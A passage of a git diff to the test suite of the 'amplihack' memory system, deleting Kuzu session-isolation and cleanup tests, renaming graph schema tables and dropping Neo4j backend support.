CONTAINS_EPISODIC relationship.""" - from src.amplihack.memory.backends.kuzu_backend import KuzuBackend - - mock_conn = Mock() - mock_kuzu.Database.return_value = Mock() - mock_kuzu.Connection.return_value = mock_conn - - with tempfile.TemporaryDirectory() as tmpdir: - backend = KuzuBackend(db_path=f"{tmpdir}/test_db") - backend.initialize() - - memory = MemoryEntry( - id="test-1", - session_id="session-1", - agent_id="agent-1", - memory_type=MemoryType.EPISODIC, - title="Test Event", - content="Something happened", - metadata={}, - created_at=datetime.now(), - accessed_at=datetime.now(), - ) - - mock_conn.execute.reset_mock() - backend.store_memory(memory) - - calls = [str(call) for call in mock_conn.execute.call_args_list] - # Should create CONTAINS_EPISODIC relationship - assert any("CONTAINS_EPISODIC" in str(call) for call in calls) - - @patch("src.amplihack.memory.backends.kuzu_backend.kuzu") - def test_store_working_creates_contains_relationship(self, mock_kuzu): - """Test that storing working memory creates CONTAINS_WORKING relationship.""" - from src.amplihack.memory.backends.kuzu_backend import KuzuBackend - - mock_conn = Mock() - mock_kuzu.Database.return_value = Mock() - mock_kuzu.Connection.return_value = mock_conn - - with tempfile.TemporaryDirectory() as tmpdir: - backend = KuzuBackend(db_path=f"{tmpdir}/test_db") - backend.initialize() - - memory = MemoryEntry( - id="test-1", - session_id="session-1", - agent_id="agent-1", - memory_type=MemoryType.WORKING, - title="Current Goal", - content="Implement feature", - metadata={}, - created_at=datetime.now(), - accessed_at=datetime.now(), - ) - - mock_conn.execute.reset_mock() - backend.store_memory(memory) - - calls = [str(call) for call in mock_conn.execute.call_args_list] - # Should create CONTAINS_WORKING relationship - assert any("CONTAINS_WORKING" in str(call) for call in calls) diff --git a/tests/memory/backends/test_kuzu_session_isolation.py b/tests/memory/backends/test_kuzu_session_isolation.py deleted file mode 100644 index 8199f7bbd..000000000 --- a/tests/memory/backends/test_kuzu_session_isolation.py +++ /dev/null @@ -1,392 +0,0 @@ -"""Integration tests for Kùzu backend session isolation. - -Tests that session_id properly isolates memories between different sessions. - -Philosophy: -- Test real behavior with actual database -- Verify session isolation across all 5 memory types -- Ensure queries filter by session_id correctly -""" - -import tempfile -from datetime import datetime -from pathlib import Path - -import pytest - -from src.amplihack.memory.backends.kuzu_backend import KuzuBackend -from src.amplihack.memory.models import MemoryEntry, MemoryQuery, MemoryType - - -@pytest.fixture -def temp_db(): - """Create a temporary database for testing.""" - with tempfile.TemporaryDirectory() as tmpdir: - db_path = Path(tmpdir) / "test_db" - yield db_path - - -@pytest.fixture -def backend(temp_db): - """Create and initialize a KuzuBackend instance.""" - backend = KuzuBackend(db_path=temp_db, enable_auto_linking=False) - backend.initialize() - yield backend - backend.close() - - -class TestSessionIsolation: - """Test that memories are properly isolated by session_id.""" - - def test_episodic_memory_session_isolation(self, backend): - """Test that episodic memories from different sessions are isolated.""" - now = datetime.now() - - # Create memories in session-1 - memory1 = MemoryEntry( - id="episodic-1", - session_id="session-1", - agent_id="agent-1", - memory_type=MemoryType.EPISODIC, - title="Session 1 Event", - content="This happened in session 1", - metadata={}, - created_at=now, - accessed_at=now, - ) - backend.store_memory(memory1) - - # Create memories in session-2 - memory2 = MemoryEntry( - id="episodic-2", - session_id="session-2", - agent_id="agent-1", - memory_type=MemoryType.EPISODIC, - title="Session 2 Event", - content="This happened in session 2", - metadata={}, - created_at=now, - accessed_at=now, - ) - backend.store_memory(memory2) - - # Query session-1 memories - query1 = MemoryQuery(session_id="session-1", memory_type=MemoryType.EPISODIC) - results1 = backend.retrieve_memories(query1) - - # Should only get session-1 memory - assert len(results1) == 1 - assert results1[0].id == "episodic-1" - assert results1[0].session_id == "session-1" - - # Query session-2 memories - query2 = MemoryQuery(session_id="session-2", memory_type=MemoryType.EPISODIC) - results2 = backend.retrieve_memories(query2) - - # Should only get session-2 memory - assert len(results2) == 1 - assert results2[0].id == "episodic-2" - assert results2[0].session_id == "session-2" - - def test_semantic_memory_session_isolation(self, backend): - """Test that semantic memories from different sessions are isolated.""" - now = datetime.now() - - memory1 = MemoryEntry( - id="semantic-1", - session_id="session-1", - agent_id="agent-1", - memory_type=MemoryType.SEMANTIC, - title="Session 1 Knowledge", - content="User prefers detailed output", - metadata={}, - created_at=now, - accessed_at=now, - ) - backend.store_memory(memory1) - - memory2 = MemoryEntry( - id="semantic-2", - session_id="session-2", - agent_id="agent-1", - memory_type=MemoryType.SEMANTIC, - title="Session 2 Knowledge", - content="User prefers concise output", - metadata={}, - created_at=now, - accessed_at=now, - ) - backend.store_memory(memory2) - - # Query each session - query1 = MemoryQuery(session_id="session-1", memory_type=MemoryType.SEMANTIC) - results1 = backend.retrieve_memories(query1) - assert len(results1) == 1 - assert results1[0].id == "semantic-1" - - query2 = MemoryQuery(session_id="session-2", memory_type=MemoryType.SEMANTIC) - results2 = backend.retrieve_memories(query2) - assert len(results2) == 1 - assert results2[0].id == "semantic-2" - - def test_procedural_memory_session_isolation(self, backend): - """Test that procedural memories from different sessions are isolated.""" - now = datetime.now() - - memory1 = MemoryEntry( - id="procedural-1", - session_id="session-1", - agent_id="agent-1", - memory_type=MemoryType.PROCEDURAL, - title="Session 1 Procedure", - content="How to deploy in session 1", - metadata={}, - created_at=now, - accessed_at=now, - ) - backend.store_memory(memory1) - - memory2 = MemoryEntry( - id="procedural-2", - session_id="session-2", - agent_id="agent-1", - memory_type=MemoryType.PROCEDURAL, - title="Session 2 Procedure", - content="How to deploy in session 2", - metadata={}, - created_at=now, - accessed_at=now, - ) - backend.store_memory(memory2) - - query1 = MemoryQuery(session_id="session-1", memory_type=MemoryType.PROCEDURAL) - results1 = backend.retrieve_memories(query1) - assert len(results1) == 1 - assert results1[0].id == "procedural-1" - - query2 = MemoryQuery(session_id="session-2", memory_type=MemoryType.PROCEDURAL) - results2 = backend.retrieve_memories(query2) - assert len(results2) == 1 - assert results2[0].id == "procedural-2" - - def test_prospective_memory_session_isolation(self, backend): - """Test that prospective memories from different sessions are isolated.""" - now = datetime.now() - - memory1 = MemoryEntry( - id="prospective-1", - session_id="session-1", - agent_id="agent-1", - memory_type=MemoryType.PROSPECTIVE, - title="Session 1 Reminder", - content="Follow up on PR in session 1", - metadata={}, - created_at=now, - accessed_at=now, - ) - backend.store_memory(memory1) - - memory2 = MemoryEntry( - id="prospective-2", - session_id="session-2", - agent_id="agent-1", - memory_type=MemoryType.PROSPECTIVE, - title="Session 2 Reminder", - content="Follow up on PR in session 2", - metadata={}, - created_at=now, - accessed_at=now, - ) - backend.store_memory(memory2) - - query1 = MemoryQuery(session_id="session-1", memory_type=MemoryType.PROSPECTIVE) - results1 = backend.retrieve_memories(query1) - assert len(results1) == 1 - assert results1[0].id == "prospective-1" - - query2 = MemoryQuery(session_id="session-2", memory_type=MemoryType.PROSPECTIVE) - results2 = backend.retrieve_memories(query2) - assert len(results2) == 1 - assert results2[0].id == "prospective-2" - - def test_working_memory_session_isolation(self, backend): - """Test that working memories from different sessions are isolated.""" - now = datetime.now() - - memory1 = MemoryEntry( - id="working-1", - session_id="session-1", - agent_id="agent-1", - memory_type=MemoryType.WORKING, - title="Session 1 Goal", - content="Implement feature X", - metadata={}, - created_at=now, - accessed_at=now, - ) - backend.store_memory(memory1) - - memory2 = MemoryEntry( - id="working-2", - session_id="session-2", - agent_id="agent-1", - memory_type=MemoryType.WORKING, - title="Session 2 Goal", - content="Implement feature Y", - metadata={}, - created_at=now, - accessed_at=now, - ) - backend.store_memory(memory2) - - query1 = MemoryQuery(session_id="session-1", memory_type=MemoryType.WORKING) - results1 = backend.retrieve_memories(query1) - assert len(results1) == 1 - assert results1[0].id == "working-1" - - query2 = MemoryQuery(session_id="session-2", memory_type=MemoryType.WORKING) - results2 = backend.retrieve_memories(query2) - assert len(results2) == 1 - assert results2[0].id == "working-2" - - def test_cross_session_query_returns_all(self, backend): - """Test that queries without session_id return memories from all sessions.""" - now = datetime.now() - - # Create memories in multiple sessions - memory1 = MemoryEntry( - id="episodic-1", - session_id="session-1", - agent_id="agent-1", - memory_type=MemoryType.EPISODIC, - title="Session 1 Event", - content="Event 1", - metadata={}, - created_at=now, - accessed_at=now, - ) - backend.store_memory(memory1) - - memory2 = MemoryEntry( - id="episodic-2", - session_id="session-2", - agent_id="agent-1", - memory_type=MemoryType.EPISODIC, - title="Session 2 Event", - content="Event 2", - metadata={}, - created_at=now, - accessed_at=now, - ) - backend.store_memory(memory2) - - # Query without session_id filter - query = MemoryQuery(memory_type=MemoryType.EPISODIC) - results = backend.retrieve_memories(query) - - # Should get memories from both sessions - assert len(results) == 2 - session_ids = {r.session_id for r in results} - assert session_ids == {"session-1", "session-2"} - - def test_get_memory_by_id_preserves_session_id(self, backend): - """Test that retrieving by ID preserves the session_id.""" - now = datetime.now() - - memory = MemoryEntry( - id="test-id", - session_id="test-session", - agent_id="agent-1", - memory_type=MemoryType.EPISODIC, - title="Test Event", - content="Test content", - metadata={}, - created_at=now, - accessed_at=now, - ) - backend.store_memory(memory) - - # Retrieve by ID - retrieved = backend.get_memory_by_id("test-id") - - assert retrieved is not None - assert retrieved.session_id == "test-session" - assert retrieved.id == "test-id" - - def test_mixed_memory_types_session_isolation(self, backend): - """Test session isolation when querying all memory types at once.""" - now = datetime.now() - - # Create different types in session-1 - episodic1 = MemoryEntry( - id="e1", - session_id="session-1", - agent_id="agent-1", - memory_type=MemoryType.EPISODIC, - title="E1", - content="Episodic 1", - metadata={}, - created_at=now, - accessed_at=now, - ) - backend.store_memory(episodic1) - - semantic1 = MemoryEntry( - id="s1", - session_id="session-1", - agent_id="agent-1", - memory_type=MemoryType.SEMANTIC, - title="S1", - content="Semantic 1", - metadata={}, - created_at=now, - accessed_at=now, - ) - backend.store_memory(semantic1) - - # Create different types in session-2 - episodic2 = MemoryEntry( - id="e2", - session_id="session-2", - agent_id="agent-1", - memory_type=MemoryType.EPISODIC, - title="E2", - content="Episodic 2", - metadata={}, - created_at=now, - accessed_at=now, - ) - backend.store_memory(episodic2) - - semantic2 = MemoryEntry( - id="s2", - session_id="session-2", - agent_id="agent-1", - memory_type=MemoryType.SEMANTIC, - title="S2", - content="Semantic 2", - metadata={}, - created_at=now, - accessed_at=now, - ) - backend.store_memory(semantic2) - - # Query session-1 (all types) - query1 = MemoryQuery(session_id="session-1") - results1 = backend.retrieve_memories(query1) - - # Should get 2 memories from session-1 - assert len(results1) == 2 - ids1 = {r.id for r in results1} - assert ids1 == {"e1", "s1"} - assert all(r.session_id == "session-1" for r in results1) - - # Query session-2 (all types) - query2 = MemoryQuery(session_id="session-2") - results2 = backend.retrieve_memories(query2) - - # Should get 2 memories from session-2 - assert len(results2) == 2 - ids2 = {r.id for r in results2} - assert ids2 == {"e2", "s2"} - assert all(r.session_id == "session-2" for r in results2) diff --git a/tests/memory/kuzu/test_code_graph.py b/tests/memory/kuzu/test_code_graph.py index af7507505..a3730e6e5 100644 --- a/tests/memory/kuzu/test_code_graph.py +++ b/tests/memory/kuzu/test_code_graph.py @@ -28,107 +28,9 @@ def kuzu_db(tmp_path): conn = KuzuConnector(db_path=str(db_path)) conn.connect() - # Initialize schema (from kuzu_backend.py) - # Create code node tables - conn.execute_query(""" - CREATE NODE TABLE IF NOT EXISTS CodeFile( - file_id STRING, - file_path STRING, - language STRING, - size_bytes INT64, - last_modified TIMESTAMP, - created_at TIMESTAMP, - metadata STRING, - PRIMARY KEY (file_id) - ) - """) - - conn.execute_query(""" - CREATE NODE TABLE IF NOT EXISTS Class( - class_id STRING, - class_name STRING, - fully_qualified_name STRING, - docstring STRING, - is_abstract BOOL, - created_at TIMESTAMP, - metadata STRING, - PRIMARY KEY (class_id) - ) - """) - - conn.execute_query(""" - CREATE NODE TABLE IF NOT EXISTS Function( - function_id STRING, - function_name STRING, - fully_qualified_name STRING, - signature STRING, - docstring STRING, - is_async BOOL, - cyclomatic_complexity INT64, - created_at TIMESTAMP, - metadata STRING, - PRIMARY KEY (function_id) - ) - """) - - # Create relationship tables - conn.execute_query(""" - CREATE REL TABLE IF NOT EXISTS DEFINED_IN( - FROM Class TO CodeFile, - line_number INT64, - end_line INT64 - ) - """) - - conn.execute_query(""" - CREATE REL TABLE IF NOT EXISTS DEFINED_IN_FUNCTION( - FROM Function TO CodeFile, - line_number INT64, - end_line INT64 - ) - """) - - conn.execute_query(""" - CREATE REL TABLE IF NOT EXISTS METHOD_OF( - FROM Function TO Class, - method_type STRING, - visibility STRING - ) - """) - - conn.execute_query(""" - CREATE REL TABLE IF NOT EXISTS CALLS( - FROM Function TO Function, - call_count INT64, - context STRING - ) - """) - - conn.execute_query(""" - CREATE REL TABLE IF NOT EXISTS INHERITS( - FROM Class TO Class, - inheritance_order INT64, - inheritance_type STRING - ) - """) - - conn.execute_query(""" - CREATE REL TABLE IF NOT EXISTS IMPORTS( - FROM CodeFile TO CodeFile, - import_type STRING, - alias STRING - ) - """) - - conn.execute_query(""" - CREATE REL TABLE IF NOT EXISTS REFERENCES_CLASS( - FROM Function TO Class, - reference_type STRING, - context STRING - ) - """) - - # Create memory node tables (for linking tests) + # Create memory node tables (for linking tests). + # Code graph schema (CodeFile, CodeClass, CodeFunction, etc.) is created by + # KuzuCodeGraph._ensure_code_graph_schema() when the code_graph fixture initializes. conn.execute_query(""" CREATE NODE TABLE IF NOT EXISTS EpisodicMemory( memory_id STRING, @@ -167,7 +69,15 @@ def kuzu_db(tmp_path): ) """) - # Memory-code relationship tables + yield conn + + conn.close() + + +@pytest.fixture(autouse=True) +def ensure_memory_rel_tables(code_graph): + """Create memory-code relationship tables after code graph schema is initialized.""" + conn = code_graph.conn conn.execute_query(""" CREATE REL TABLE IF NOT EXISTS RELATES_TO_FILE_EPISODIC( FROM EpisodicMemory TO CodeFile, @@ -176,7 +86,6 @@ def kuzu_db(tmp_path): timestamp TIMESTAMP ) """) - conn.execute_query(""" CREATE REL TABLE IF NOT EXISTS RELATES_TO_FILE_SEMANTIC( FROM SemanticMemory TO CodeFile, @@ -185,29 +94,23 @@ def kuzu_db(tmp_path): timestamp TIMESTAMP ) """) - conn.execute_query(""" CREATE REL TABLE IF NOT EXISTS RELATES_TO_FUNCTION_EPISODIC( - FROM EpisodicMemory TO Function, + FROM EpisodicMemory TO CodeFunction, relevance_score DOUBLE, context STRING, timestamp TIMESTAMP ) """) - conn.execute_query(""" CREATE REL TABLE IF NOT EXISTS RELATES_TO_FUNCTION_SEMANTIC( - FROM SemanticMemory TO Function, + FROM SemanticMemory TO CodeFunction, relevance_score DOUBLE, context STRING, timestamp TIMESTAMP ) """) - yield conn - - conn.close() - @pytest.fixture def code_graph(kuzu_db): @@ -334,7 +237,7 @@ def test_import_classes(code_graph, sample_blarify_data, tmp_path): # Verify class exists result = code_graph.conn.execute_query( """ - MATCH (c:Class {class_id: $class_id}) + MATCH (c:CodeClass {class_id: $class_id}) RETURN c.class_name, c.docstring, c.is_abstract """, {"class_id": "class:Example"}, @@ -347,7 +250,7 @@ def test_import_classes(code_graph, sample_blarify_data, tmp_path): # Verify DEFINED_IN relationship result = code_graph.conn.execute_query( """ - MATCH (c:Class {class_id: $class_id})-[r:DEFINED_IN]->(cf:CodeFile) + MATCH (c:CodeClass {class_id: $class_id})-[r:CLASS_DEFINED_IN]->(cf:CodeFile) RETURN cf.file_id, r.line_number """, {"class_id": "class:Example"}, @@ -369,7 +272,7 @@ def test_import_functions(code_graph, sample_blarify_data, tmp_path): # Verify method function result = code_graph.conn.execute_query( """ - MATCH (f:Function {function_id: $function_id}) + MATCH (f:CodeFunction {function_id: $function_id}) RETURN f.function_name, f.signature, f.is_async, f.cyclomatic_complexity """, {"function_id": "func:Example.process"}, @@ -382,7 +285,7 @@ def test_import_functions(code_graph, sample_blarify_data, tmp_path): # Verify METHOD_OF relationship result = code_graph.conn.execute_query( """ - MATCH (f:Function {function_id: $function_id})-[r:METHOD_OF]->(c:Class) + MATCH (f:CodeFunction {function_id: $function_id})-[r:METHOD_OF]->(c:CodeClass) RETURN c.class_id, r.method_type """, {"function_id": "func:Example.process"}, @@ -394,7 +297,7 @@ def test_import_functions(code_graph, sample_blarify_data, tmp_path): # Verify standalone function result = code_graph.conn.execute_query( """ - MATCH (f:Function {function_id: $function_id}) + MATCH (f:CodeFunction {function_id: $function_id}) RETURN f.function_name """, {"function_id": "func:helper"}, @@ -415,7 +318,7 @@ def test_import_relationships(code_graph, sample_blarify_data, tmp_path): # Verify CALLS relationship result = code_graph.conn.execute_query( """ - MATCH (source:Function {function_id: $source_id})-[r:CALLS]->(target:Function {function_id: $target_id}) + MATCH (source:CodeFunction {function_id: $source_id})-[r:CALLS]->(target:CodeFunction {function_id: $target_id}) RETURN r.call_count, r.context """, {"source_id": "func:Example.process", "target_id": "func:helper"}, @@ -578,7 +481,7 @@ def test_link_memories_to_functions(code_graph, sample_blarify_data, tmp_path): # Verify relationship created result = code_graph.conn.execute_query( """ - MATCH (m:SemanticMemory {memory_id: $memory_id})-[r:RELATES_TO_FUNCTION_SEMANTIC]->(f:Function) + MATCH (m:SemanticMemory {memory_id: $memory_id})-[r:RELATES_TO_FUNCTION_SEMANTIC]->(f:CodeFunction) RETURN f.function_name, r.relevance_score, r.context """, {"memory_id": "mem-2"}, @@ -733,7 +636,7 @@ def test_inheritance_relationship(code_graph, tmp_path): # Verify INHERITS relationship result = code_graph.conn.execute_query( """ - MATCH (source:Class {class_id: $source_id})-[r:INHERITS]->(target:Class {class_id: $target_id}) + MATCH (source:CodeClass {class_id: $source_id})-[r:INHERITS]->(target:CodeClass {class_id: $target_id}) RETURN r.inheritance_type """, {"source_id": "class:Derived", "target_id": "class:Base"}, diff --git a/tests/memory/kuzu/test_kuzu_connector.py b/tests/memory/kuzu/test_kuzu_connector.py index 4b1c7f52a..126f42dfe 100644 --- a/tests/memory/kuzu/test_kuzu_connector.py +++ b/tests/memory/kuzu/test_kuzu_connector.py @@ -403,11 +403,11 @@ def test_all_exports_exist(self): assert "get_backend_status" in __all__ def test_backend_type_enum_values(self): - """Test BackendType enum has expected values.""" + """Test BackendType enum has expected values (Kuzu only since Neo4j removed).""" from amplihack.memory.auto_backend import BackendType assert BackendType.KUZU.value == "kuzu" - assert BackendType.NEO4J.value == "neo4j" + assert not hasattr(BackendType, "NEO4J") # Neo4j support removed in Week 7 cleanup def test_get_backend_status_returns_dict(self): """Test get_backend_status returns a dictionary.""" @@ -416,4 +416,4 @@ def test_get_backend_status_returns_dict(self): status = get_backend_status() assert isinstance(status, dict) assert "kuzu_available" in status - assert "docker_available" in status + # docker_available removed when Neo4j support was dropped diff --git a/tests/memory/test_backends.py b/tests/memory/test_backends.py index 6d574951d..470521532 100644 --- a/tests/memory/test_backends.py +++ b/tests/memory/test_backends.py @@ -1,4 +1,4 @@ -"""Tests fer backend abstraction layer. +"""Tests for backend abstraction layer. Verifies: - Backend protocol implementation @@ -13,11 +13,9 @@ import pytest -from amplihack.memory.backends import BackendType, SQLiteBackend, create_backend +from amplihack.memory.sqlite_backend import SQLiteBackend, create_backend from amplihack.memory.coordinator import MemoryCoordinator, StorageRequest -from amplihack.memory.models import MemoryEntry -from amplihack.memory.models import MemoryType as OldMemoryType -from amplihack.memory.types import MemoryType +from amplihack.memory.models import MemoryEntry, MemoryType class TestBackendSelection: @@ -28,7 +26,7 @@ def test_default_backend_selection_works(self): backend = create_backend() assert backend is not None capabilities = backend.get_capabilities() - assert capabilities.backend_name in ["sqlite", "kuzu"] + assert capabilities.backend_name == "sqlite" def test_explicit_sqlite_backend(self): """Can explicitly request SQLite backend.""" @@ -36,22 +34,12 @@ def test_explicit_sqlite_backend(self): capabilities = backend.get_capabilities() assert capabilities.backend_name == "sqlite" - def test_explicit_sqlite_backend_enum(self): - """Can request SQLite using enum.""" - backend = create_backend(backend_type=BackendType.SQLITE) + def test_unsupported_backend_falls_back_to_sqlite(self): + """Unsupported backend type logs a warning and falls back to SQLite.""" + backend = create_backend(backend_type="neo4j") capabilities = backend.get_capabilities() assert capabilities.backend_name == "sqlite" - def test_invalid_backend_type_raises_error(self): - """Invalid backend type should raise ValueError.""" - with pytest.raises(ValueError, match="Invalid backend type"): - create_backend(backend_type="invalid") - - def test_neo4j_backend_not_implemented_yet(self): - """Neo4j backend should raise NotImplementedError.""" - with pytest.raises(NotImplementedError, match="Neo4j backend not yet implemented"): - create_backend(backend_type="neo4j") - def test_backend_with_custom_path(self): """Can create backend with custom database path.""" with tempfile.TemporaryDirectory() as tmpdir: @@ -108,9 +96,9 @@ async def test_sqlite_backend_store_and_retrieve(self): id="test-123", session_id="session-1", agent_id="agent-1", - memory_type=OldMemoryType.CONVERSATION, + memory_type=MemoryType.CONVERSATION, title="Test Memory", - content="This be a test memory", + content="This is a test memory", metadata={"new_memory_type": MemoryType.EPISODIC.value}, created_at=datetime.now(), accessed_at=datetime.now(), @@ -124,7 +112,7 @@ async def test_sqlite_backend_store_and_retrieve(self): retrieved = await backend.get_memory_by_id("test-123") assert retrieved is not None assert retrieved.id == "test-123" - assert retrieved.content == "This be a test memory" + assert retrieved.content == "This is a test memory" class TestCoordinatorBackendIntegration: @@ -132,7 +120,7 @@ class TestCoordinatorBackendIntegration: @pytest.mark.asyncio async def test_coordinator_uses_backend(self): - """Coordinator can use backend fer storage/retrieval.""" + """Coordinator can use backend for storage/retrieval.""" with tempfile.TemporaryDirectory() as tmpdir: # Create coordinator with SQLite backend coordinator = MemoryCoordinator(backend_type="sqlite", db_path=Path(tmpdir) / "test.db") @@ -140,7 +128,7 @@ async def test_coordinator_uses_backend(self): # Store a memory request = StorageRequest( - content="Test memory content fer backend integration", + content="Test memory content for backend integration", memory_type=MemoryType.EPISODIC, ) @@ -177,7 +165,7 @@ async def test_coordinator_default_backend(self): # Should have created a backend (either Kùzu or SQLite) backend_info = coordinator.get_backend_info() - assert backend_info["backend_name"] in ["sqlite", "kuzu"] + assert backend_info["backend_name"] == "sqlite" if __name__ == "__main__": diff --git a/tests/memory/test_cli_cleanup.py b/tests/memory/test_cli_cleanup.py deleted file mode 100644 index 41c8c290f..000000000 --- a/tests/memory/test_cli_cleanup.py +++ /dev/null @@ -1,211 +0,0 @@ -"""Tests for memory cleanup CLI utility. - -Tests the cleanup_memory_sessions function with different patterns -and backends. -""" - -from datetime import datetime -from unittest.mock import Mock - -from src.amplihack.memory.cli_cleanup import cleanup_memory_sessions -from src.amplihack.memory.models import SessionInfo - - -class TestCleanupMemorySessions: - """Test cleanup_memory_sessions function.""" - - def test_cleanup_with_no_matches(self): - """Test cleanup when no sessions match pattern.""" - mock_backend = Mock() - mock_backend.list_sessions.return_value = [ - SessionInfo( - session_id="production-1", - created_at=datetime.now(), - last_accessed=datetime.now(), - agent_ids=["agent-1"], - memory_count=5, - metadata={}, - ) - ] - - result = cleanup_memory_sessions( - backend=mock_backend, - pattern="test_*", - dry_run=True, - confirm=False, - ) - - assert result["matched"] == 0 - assert result["deleted"] == 0 - assert result["errors"] == 0 - - def test_cleanup_dry_run_mode(self): - """Test cleanup in dry-run mode does not delete.""" - mock_backend = Mock() - mock_backend.list_sessions.return_value = [ - SessionInfo( - session_id="test_session_1", - created_at=datetime.now(), - last_accessed=datetime.now(), - agent_ids=["agent-1"], - memory_count=5, - metadata={}, - ), - SessionInfo( - session_id="test_session_2", - created_at=datetime.now(), - last_accessed=datetime.now(), - agent_ids=["agent-1"], - memory_count=3, - metadata={}, - ), - ] - - result = cleanup_memory_sessions( - backend=mock_backend, - pattern="test_*", - dry_run=True, - confirm=False, - ) - - assert result["matched"] == 2 - assert result["deleted"] == 0 - assert result["errors"] == 0 - # Verify delete_session was never called - mock_backend.delete_session.assert_not_called() - - def test_cleanup_actual_deletion_with_confirm(self): - """Test cleanup actually deletes with confirm flag.""" - mock_backend = Mock() - mock_backend.list_sessions.return_value = [ - SessionInfo( - session_id="test_session_1", - created_at=datetime.now(), - last_accessed=datetime.now(), - agent_ids=["agent-1"], - memory_count=5, - metadata={}, - ) - ] - mock_backend.delete_session.return_value = True - - result = cleanup_memory_sessions( - backend=mock_backend, - pattern="test_*", - dry_run=False, - confirm=True, - ) - - assert result["matched"] == 1 - assert result["deleted"] == 1 - assert result["errors"] == 0 - # Verify delete_session was called - mock_backend.delete_session.assert_called_once_with("test_session_1") - - def test_cleanup_pattern_matching(self): - """Test pattern matching with different patterns.""" - mock_backend = Mock() - mock_backend.list_sessions.return_value = [ - SessionInfo( - session_id="test_session_1", - created_at=datetime.now(), - last_accessed=datetime.now(), - agent_ids=["agent-1"], - memory_count=5, - metadata={}, - ), - SessionInfo( - session_id="prod_session_1", - created_at=datetime.now(), - last_accessed=datetime.now(), - agent_ids=["agent-1"], - memory_count=3, - metadata={}, - ), - SessionInfo( - session_id="test_another", - created_at=datetime.now(), - last_accessed=datetime.now(), - agent_ids=["agent-1"], - memory_count=2, - metadata={}, - ), - ] - - # Test pattern "test_*" matches only "test_session_1" - result = cleanup_memory_sessions( - backend=mock_backend, - pattern="test_session_*", - dry_run=True, - confirm=False, - ) - - assert result["matched"] == 1 - assert "test_session_1" in result["session_ids"] - - def test_cleanup_handles_deletion_errors(self): - """Test cleanup handles errors during deletion gracefully.""" - mock_backend = Mock() - mock_backend.list_sessions.return_value = [ - SessionInfo( - session_id="test_session_1", - created_at=datetime.now(), - last_accessed=datetime.now(), - agent_ids=["agent-1"], - memory_count=5, - metadata={}, - ), - SessionInfo( - session_id="test_session_2", - created_at=datetime.now(), - last_accessed=datetime.now(), - agent_ids=["agent-1"], - memory_count=3, - metadata={}, - ), - ] - - # First delete succeeds, second fails - mock_backend.delete_session.side_effect = [True, False] - - result = cleanup_memory_sessions( - backend=mock_backend, - pattern="test_*", - dry_run=False, - confirm=True, - ) - - assert result["matched"] == 2 - assert result["deleted"] == 1 - assert result["errors"] == 1 - - def test_cleanup_wildcard_pattern(self): - """Test cleanup with * wildcard matching all sessions.""" - mock_backend = Mock() - mock_backend.list_sessions.return_value = [ - SessionInfo( - session_id="session_1", - created_at=datetime.now(), - last_accessed=datetime.now(), - agent_ids=["agent-1"], - memory_count=5, - metadata={}, - ), - SessionInfo( - session_id="session_2", - created_at=datetime.now(), - last_accessed=datetime.now(), - agent_ids=["agent-1"], - memory_count=3, - metadata={}, - ), - ] - - result = cleanup_memory_sessions( - backend=mock_backend, - pattern="*", - dry_run=True, - confirm=False, - ) - - assert result["matched"] == 2 diff --git a/tests/memory/test_cli_visualize.py b/tests/memory/test_cli_visualize.py index 6aba99cd6..0471f6709 100644 --- a/tests/memory/test_cli_visualize.py +++ b/tests/memory/test_cli_visualize.py @@ -1,10 +1,10 @@ -"""Tests fer memory tree visualization CLI. +"""Tests for memory tree visualization CLI. Tests the visualize_memory_tree function and tree building logic. Testing Philosophy: - Test the contract (tree structure, colors, emojis), not implementation details -- Use mock backends fer fast execution +- Use mock backends for fast execution - Verify output format matches documentation """ @@ -244,7 +244,7 @@ def test_visualize_with_type_filter(self, mock_backend): depth=None, ) - # Should query with type filter (check first call, which is fer sessions) + # Should query with type filter (check first call, which is for sessions) first_call_args = mock_backend.retrieve_memories.call_args_list[0] query = first_call_args[0][0] assert query.memory_type == MemoryType.CONVERSATION @@ -344,7 +344,7 @@ def test_with_kuzu_backend(self, tmp_path): """Test with Kùzu backend (skipped if not installed).""" # Try to import real kuzu module try: - from amplihack.memory.backends.kuzu_backend import KuzuBackend + from amplihack.memory.kuzu_store import KuzuGraphStore except ImportError: pytest.skip("Kùzu not installed") diff --git a/tests/memory/test_code_context_injection.py b/tests/memory/test_code_context_injection.py index 8c7512493..1b91e958f 100644 --- a/tests/memory/test_code_context_injection.py +++ b/tests/memory/test_code_context_injection.py @@ -17,7 +17,7 @@ import pytest from amplihack.memory.coordinator import MemoryCoordinator, RetrievalQuery, StorageRequest -from amplihack.memory.types import MemoryType +from amplihack.memory.models import MemoryType # Skip if Kuzu not available pytest_plugins = [] @@ -41,7 +41,7 @@ def coordinator_with_code_graph(temp_db_path: Path) -> MemoryCoordinator: if not KUZU_AVAILABLE: pytest.skip("Kuzu not available") - from amplihack.memory.backends import create_backend + from amplihack.memory.sqlite_backend import create_backend backend = create_backend("kuzu", db_path=str(temp_db_path)) coordinator = MemoryCoordinator(backend=backend) @@ -51,7 +51,7 @@ def coordinator_with_code_graph(temp_db_path: Path) -> MemoryCoordinator: @pytest.fixture def coordinator_sqlite(tmp_path: Path) -> MemoryCoordinator: """Create coordinator with SQLite backend (no code graph).""" - from amplihack.memory.backends import create_backend + from amplihack.memory.sqlite_backend import create_backend backend = create_backend("sqlite", db_path=str(tmp_path / "test_sqlite.db")) coordinator = MemoryCoordinator(backend=backend) @@ -66,7 +66,7 @@ async def test_retrieve_with_code_context_flag(coordinator_with_code_graph: Memo request = StorageRequest( content="Fixed bug in retrieve_memories function", memory_type=MemoryType.EPISODIC, - metadata={"file": "src/amplihack/memory/backends/kuzu_backend.py"}, + metadata={"file": "src/amplihack/memory/kuzu_store.py"}, ) memory_id = await coordinator_with_code_graph.store(request) diff --git a/tests/memory/test_discoveries_adapter.py b/tests/memory/test_discoveries_adapter.py index 339ca8473..d5fb441e2 100644 --- a/tests/memory/test_discoveries_adapter.py +++ b/tests/memory/test_discoveries_adapter.py @@ -95,7 +95,7 @@ def test_store_discovery_graceful_failure(self): def test_store_discovery_uses_semantic_type(self): """Test that discoveries use SEMANTIC memory type.""" from amplihack.memory.discoveries import store_discovery - from amplihack.memory.types import MemoryType + from amplihack.memory.models import MemoryType with patch("amplihack.memory.discoveries.MemoryCoordinator") as mock_coord_cls: mock_coordinator = MagicMock() @@ -187,7 +187,7 @@ def test_get_recent_discoveries_graceful_failure(self): def test_get_recent_discoveries_uses_semantic_type(self): """Test that retrieval queries SEMANTIC memory type.""" from amplihack.memory.discoveries import get_recent_discoveries - from amplihack.memory.types import MemoryType + from amplihack.memory.models import MemoryType with 